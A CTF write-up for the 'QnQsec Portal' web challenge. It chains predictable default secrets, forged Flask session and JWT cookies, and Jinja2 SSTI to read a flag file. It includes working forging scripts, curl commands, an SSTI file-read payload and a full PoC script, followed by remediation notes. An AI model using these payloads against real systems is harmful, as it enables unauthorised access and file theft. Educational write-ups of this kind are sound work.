Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
WebHard

Qnqsec Portal

CTF writeup for Qnqsec Portal from QnQSec

>QnQsec Portal

Challenge: QnQsec portal URL: http://161.97.155.116:5001/ Challenge hint: "The reflection is mine, but the soul feels borrowed"

>Summary

This writeup documents a full, authorized exploitation of the QnQsec Portal web application. The vulnerability chain used:

  1. Predictable secret derivation (defaults) used to sign Flask session and JWTs.
  2. Forged Flask session cookie to impersonate Flag user.
  3. Forged admin_jwt signed with derived JWT secret (HS256) to emulate admin JWT.
  4. Admin-only template renderer (Jinja2) accessible with the above authentication.
  5. Server-Side Template Injection (SSTI) in the admin renderer allowed calling Python builtins and reading the flag file.

The final flag extracted was:

QnQsec{b4efafeb4bd43c404e425ea6d664a0f6}

All steps below assume explicit authorization to test this host was given.


>Recon & initial observations

  • Server: Werkzeug/Flask (Werkzeug/3.1.3 on Python 3.12)
  • Routes discovered via GET: /, /login, /sign_up, /account, /admin (admin discovered later)
  • Local repo contains app.py which reveals secret derivation and login/session logic.

Key excerpts from app.py:

python
base = os.environ.get("Q_SECRET", "qnqsec-default")
app.config['SECRET_KEY'] = hashlib.sha1(("pepper:" + base).encode()).hexdigest()

app.config['JWT_SECRET'] = hashlib.sha256(("jwtpepper:" + base).encode()).hexdigest()

This indicates both SECRET_KEY and JWT_SECRET are deterministic when Q_SECRET is not set (default qnqsec-default). This allowed forging both session cookies and JWTs.

login() sets two cookies on success:

  • Flask session cookie (HttpOnly)
  • admin_jwt cookie (httponly=False in this app) containing a JWT created by generate_jwt in the admin blueprint

/account checks the Flask session['user'] and shows admin UI if the user equals 'Flag'.


>Step 1 — Create a throwaway user (optional / reconnaissance)

We create a throwaway user to see cookie format and behavior. Example curl commands used during the test (safe, non-destructive):

bash
# Create test user
curl -sS -c /tmp/cookies.txt -d "username=testuser&password=testpass" -X POST http://161.97.155.116:5001/sign_up -L -i

# Login as test user to capture admin_jwt and session cookie
curl -sS -i -b /tmp/cookies.txt -c /tmp/cookies2.txt -d "username=testuser&password=testpass" -X POST http://161.97.155.116:5001/login -L

Inspect /tmp/cookies2.txt to view the admin_jwt cookie and session cookie.


>Step 2 — Forge a valid admin JWT

Because app.py derives the JWT secret as sha256("jwtpepper:" + base), when Q_SECRET is the default qnqsec-default we can derive the same secret.

Python snippet to create an admin JWT (HS256):

python
# forge_admin_jwt.py
import jwt, hashlib, time
base = 'qnqsec-default'
secret = hashlib.sha256(('jwtpepper:' + base).encode()).hexdigest()
payload = {
    'sub': 'Flag',
    'role': 'admin',
    'iat': int(time.time()),
    'exp': int(time.time()) + 3600
}
admin_token = jwt.encode(payload, secret, algorithm='HS256')
print(admin_token)

This will print a valid admin JWT for the server when run locally.


>Step 3 — Forge a Flask session cookie with user 'Flag'

The Flask SECRET_KEY is sha1("pepper:" + base). We can generate a valid signed session cookie that sets user to Flag.

A simple script using Flask internals produced the cookie used in the exploit:

python
# forge_flask_session.py
from flask import Flask
import hashlib

base = 'qnqsec-default'
secret_key = hashlib.sha1(('pepper:' + base).encode()).hexdigest()
app = Flask(__name__)
app.secret_key = secret_key

with app.test_request_context():
    from flask.sessions import SecureCookieSessionInterface
    s = SecureCookieSessionInterface().get_signing_serializer(app)
    cookie_val = s.dumps({'user': 'Flag'})
    print(cookie_val)

Running that prints a cookie value like eyJ1c2VyIjoiRmxhZyJ9.aPGtOg.GV9MVx59... which, when set as the session cookie on requests to the target, makes /account render the admin UI.


>Step 4 — Access admin renderer (combine cookies)

To reach the admin renderer we need both the forged Flask session cookie (user=Flag) and a valid admin_jwt (signed with the derived JWT secret). Example curl:

bash
# Replace COOKIE_SESSION and ADMIN_JWT with the values you produced
curl -i -b "session=COOKIE_SESSION; admin_jwt=ADMIN_JWT" http://161.97.155.116:5001/admin

The admin page contains a template renderer form that accepts a template POST parameter and renders it server-side.


>Step 5 — Confirm SSTI (non-destructive test)

Submit a small Jinja expression to verify evaluation:

bash
curl -sS -b "session=COOKIE_SESSION; admin_jwt=ADMIN_JWT" -d "template={{7*7}}" http://161.97.155.116:5001/admin
# Response body: 49

This confirms the admin renderer evaluates Jinja2 templates.


>Step 6 — Escalate SSTI to read the flag

We used a technique to reach Python builtins from within Jinja2. The renderer allowed us to inspect the Jinja TemplateReference class and from there access __globals__ which holds __builtins__. Using open(...) from builtins we read the file at /app/secret/flag.txt (the application workdir was /app when probed).

The key exploit template used was:

{{''.__class__.__mro__[1].__subclasses__()[501].__init__.__globals__['__builtins__']['open']('/app/secret/flag.txt').read()}}
  • Explanation: ''.__class__.__mro__[1].__subclasses__() gets a list of Python internal subclasses; the TemplateReference class was found at index 501 in the target environment. We then access its __init__ function __globals__, and fetch Python's __builtins__ entry. The builtin open allows reading arbitrary files.

Example curl (replace cookies):

bash
curl -sS -b "session=COOKIE_SESSION; admin_jwt=ADMIN_JWT" -d "template={{''.__class__.__mro__[1].__subclasses__()[501].__init__.__globals__['__builtins__']['open']('/app/secret/flag.txt').read()}}" http://161.97.155.116:5001/admin

Response contained the flag:

QnQsec{b4efafeb4bd43c404e425ea6d664a0f6}

>Repro script (automated PoC)

Below is a minimal Python script that demonstrates the steps to (re)produce the exploit end-to-end (authorized testing only). It:

  • Generates admin JWT and signed Flask session cookie from default secrets
  • Posts to admin renderer to extract flag
python
# poc_exploit.py
import hashlib, time, jwt, requests
from flask import Flask
from flask.sessions import SecureCookieSessionInterface

# Configuration (default base used by target)
BASE = 'qnqsec-default'
TARGET = 'http://161.97.155.116:5001'

# Create admin_jwt
jwt_secret = hashlib.sha256(('jwtpepper:' + BASE).encode()).hexdigest()
admin_payload = {'sub': 'Flag', 'role': 'admin', 'iat': int(time.time()), 'exp': int(time.time()) + 3600}
admin_jwt = jwt.encode(admin_payload, jwt_secret, algorithm='HS256')

# Create Flask signed session cookie
secret_key = hashlib.sha1(('pepper:' + BASE).encode()).hexdigest()
app = Flask(__name__)
app.secret_key = secret_key
with app.test_request_context():
    s = SecureCookieSessionInterface().get_signing_serializer(app)
    session_cookie = s.dumps({'user': 'Flag'})

cookies = {'session': session_cookie, 'admin_jwt': admin_jwt}

# SSTI payload to read flag
payload = "{{''.__class__.__mro__[1].__subclasses__()[501].__init__.__globals__['__builtins__']['open']('/app/secret/flag.txt').read()}}"

r = requests.post(TARGET + '/admin', data={'template': payload}, cookies=cookies, timeout=10)
print('HTTP', r.status_code)
print(r.text)

Run (authorized):

bash
python3 poc_exploit.py

>Findings / Vulnerabilities

  1. Insecure default secrets (predictable/derivable Q_SECRET)
  2. JWT secret derivation from predictable base — allows forging admin_jwt
  3. Flask SECRET_KEY derivation from predictable base — allows forge of session cookies
  4. admin_jwt cookie is not HttpOnly — exposing it unnecessarily
  5. Admin-only template renderer executing untrusted input (Jinja2 SSTI)

Each of these weaknesses compounded into a complete compromise.


>Remediation (high priority)

  1. Require a random, strong environment secret for Q_SECRET and do not use weak defaults in production.
  2. Rotate secrets and ensure SECRET_KEY and JWT secrets are independently strong.
  3. Set admin_jwt cookie with HttpOnly=True to prevent theft via XSS.
  4. Remove or heavily restrict the admin template renderer. If rendering templates from users is needed, use a fully isolated sandbox that does not expose Python internals, or render only with very strict whitelisting and no expression evaluation.
  5. Audit all code for uses of eval-like features and template rendering of user input.

>Notes & ethical considerations

  • This writeup contains exact payloads and scripts used to extract the flag. Only perform these steps against hosts you are explicitly authorized to test.
  • If you intend to report this vulnerability, redact precise payloads or the flag from any public report and provide reproductions only to the asset owner or on an authorized channel.

>Appendix — Useful snippets

  • Derive secrets (python):
python
import hashlib
BASE = 'qnqsec-default'
secret_key = hashlib.sha1(('pepper:' + BASE).encode()).hexdigest()
jwt_secret = hashlib.sha256(('jwtpepper:' + BASE).encode()).hexdigest()
print(secret_key)
print(jwt_secret)
  • Quick SSTI test (curl):
bash
curl -sS -b "session=COOKIE_SESSION; admin_jwt=ADMIN_JWT" -d "template={{7*7}}" http://161.97.155.116:5001/admin